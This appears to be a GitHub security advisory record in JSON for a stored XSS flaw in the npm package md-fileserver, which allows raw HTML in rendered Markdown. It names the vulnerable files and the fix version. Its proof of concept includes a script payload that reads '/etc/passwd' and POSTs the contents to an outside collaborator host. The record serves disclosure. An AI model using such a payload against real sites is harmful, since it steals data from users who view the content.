{"id":"GHSA-32q2-hhr5-6qvv","summary":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","details":"### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including \u003cscript\u003e tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing \u003cscript\u003e tags or event handlers (e.g., \u003cimg onerror=...\u003e). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using \u003c%= markdown %\u003e without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n\u003cscript\u003e\n  fetch('/etc/passwd', { credentials: 'include' })\n    .then(r =\u003e r.text())\n    .then(t =\u003e fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n\u003c/script\u003e\n\n```\nOpen it on browser.\n\u003cimg width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" /\u003e\nView the HTTP request in Burp Collaborator.\n\u003cimg width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" /\u003e\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.","aliases":["CVE-2026-46492"],"modified":"2026-06-09T18:45:30.920667510Z","published":"2026-05-21T17:57:32Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-21T17:57:32Z","nvd_published_at":"2026-06-09T17:17:33Z","cwe_ids":["CWE-80","CWE-87"]},"references":[{"type":"WEB","url":"https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46492"},{"type":"PACKAGE","url":"https://github.com/commenthol/md-fileserver"},{"type":"WEB","url":"https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"}],"affected":[{"package":{"name":"md-fileserver","ecosystem":"npm","purl":"pkg:npm/md-fileserver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.10.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-32q2-hhr5-6qvv/GHSA-32q2-hhr5-6qvv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}